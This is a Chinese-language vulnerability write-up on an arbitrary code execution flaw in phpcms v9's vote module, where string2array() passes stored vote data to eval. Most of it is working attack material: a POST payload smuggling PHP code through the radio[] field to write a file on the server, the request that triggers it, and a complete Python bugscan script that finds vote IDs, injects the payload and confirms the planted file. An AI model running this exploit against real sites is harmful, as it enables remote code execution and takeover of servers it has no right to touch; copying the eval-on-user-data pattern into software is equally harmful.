phpcms前台任意代码执行漏洞(php<5.3)

phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞

/phpsso_server/phpcms/libs/functions/global.func.php



/**

* 将字符串转换为数组

*

* @param    string    $data    字符串

* @return    array    返回数组格式，如果，data为空，则返回空数组

*/

function string2array($data) {

if($data == '''') return array();

eval("\$array = $data;");

return $array;

}

在文件/phpcms/modules/vote/index.php中，我们找到它的执行流程



/**

* 处理投票

*/

public function post(){

$subjectid = intval($_POST[''subjectid'']);

if(!$subjectid)    showmessage(L(''vote_novote''),''blank'');

//当前站点

$siteid = SITEID;

//判断是否已投过票,或者尚未到第二次投票期

$return = $this->check($subjectid);

switch ($return) {

case 0:

  showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");

  break;

case -1:

  showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");

  break;

}

if(!is_array($_POST[''radio''])) showmessage(L(''vote_nooption''),''blank'');

    $time = SYS_TIME;

   $data_arr = array();

  foreach($_POST[''radio''] as $radio){  //接收POST传递的radio并转换为$radio数组

  $data_arr[$radio]=''1'';

  }

  $new_data = array2string($data_arr);//转成字符串存入数据库中  

  //添加到数据库

$this->vote_data->insert(array(''userid''=>$this->userid,''username''=>$this->username,''subjectid''=>$subjectid,''time''=>$time,''ip''=>$this->ip,''data''=>$new_data));

//把字符串$new_data放到data里面

//查询投票奖励点数，并更新会员点数

$vote_arr = $this->vote->get_one(array(''subjectid''=>$subjectid));

  pc_base::load_app_class(''receipts'',''pay'',0);

receipts::point($vote_arr[''credit''],$this->userid, $this->username, '''',''selfincome'',L(''vote_post_point''));

//更新投票人数

$this->vote->update(array(''votenumber''=>''+=1''),array(''subjectid''=>$subjectid));

showmessage(L(''vote_votesucceed''), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");

}

/**

*

* 投票结果显示

*/

public function result(){

$siteid = SITEID;

$subjectid = abs(intval($_GET[''subjectid'']));

if(!$subjectid)    showmessage(L(''vote_novote''),''blank'');

//取出投票标题

$subject_arr = $this->vote->get_subject($subjectid);

if(!is_array($subject_arr)) showmessage(L(''vote_novote''),''blank'');

extract($subject_arr);

//获取投票选项

$options = $this->vote_option->get_options($subjectid);

//新建一数组用来存新组合数据

        $total = 0;

        $vote_data =array();

$vote_data[''total''] = 0 ;//所有投票选项总数

$vote_data[''votes''] = 0 ;//投票人数

//获取投票结果信息

        $infos = $this->vote_data->select(array(''subjectid''=>$subjectid),''data'');

//循环每个会员的投票记录

foreach($infos as $subjectid_arr) {

extract($subjectid_arr);

$arr = string2array($data);//调用了string2array进入eval函数

foreach($arr as $key => $values){

$vote_data[$key]+=1;

}

$total += array_sum($arr);

$vote_data[''votes'']++ ;

}

$vote_data[''total''] = $total ;

//SEO设置

$SEO = seo(SITEID, '''', $subject, $description, $subject);

   include template(''vote'',''vote_result'');

}

所以执行的过程就是

1.首先找到一个可以投票的id参数subjectid

2.发起投票,post数据



/index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1

subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"vulnerable test");

3.然后我们再查看result，触发string2array函数



/index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1

4.再看看是否有readme.php文件存在。

附上一个用于bugscan检测脚本

Python



# !/usr/bin/dev python

# -*- coding:utf-8 -*-

 

import re

import urllib

import urllib2

 

 

def get_vote_links(args):

    vul_url = args

    vote_url = ''%sindex.php?m=vote'' % vul_url

    code, head, res, _, _ = curl.curl(vote_url)

    ids = []

    for miter in re.finditer(r''<a href=.*?subjectid=(?P<id>\d+)'', res, re.DOTALL):

        ids.append(miter.group(''id''))

    if len(ids) == 0:

        return None

 

    return list(set(ids))

 

 

def assign(service, args):

    if service == ''phpcms'':

        return True, args

    pass

 

 

def audit(args):

    vul_url = args

    ids = get_vote_links(args)

    if ids:

        for i in ids:

            exploit_url = ''%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1'' % (vul_url, i)

            payload = {''subjectid'': 1,

                       ''radio[]'': '');fputs(fopen(base64_decode(YnVnc2Nhbi5waHA=),w),"vulnerable test");''}

            post_data = urllib.urlencode(payload)

            curl.curl(''-d "%s" %s'' % (post_data, exploit_url))

            verify_url = ''%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1'' % (vul_url, i)

            curl.curl(verify_url)

            shell_url = ''%sbugscan.php'' % vul_url

            code, head, res, _, _ = curl.curl(shell_url)

            if code == 200 and ''vulnerable test'' in res:

                security_hole(vul_url)

    pass

 

 

if __name__ == "__main__":

    from dummy import *

    audit(assign(''phpcms'', ''http://www.example.com/'')[1])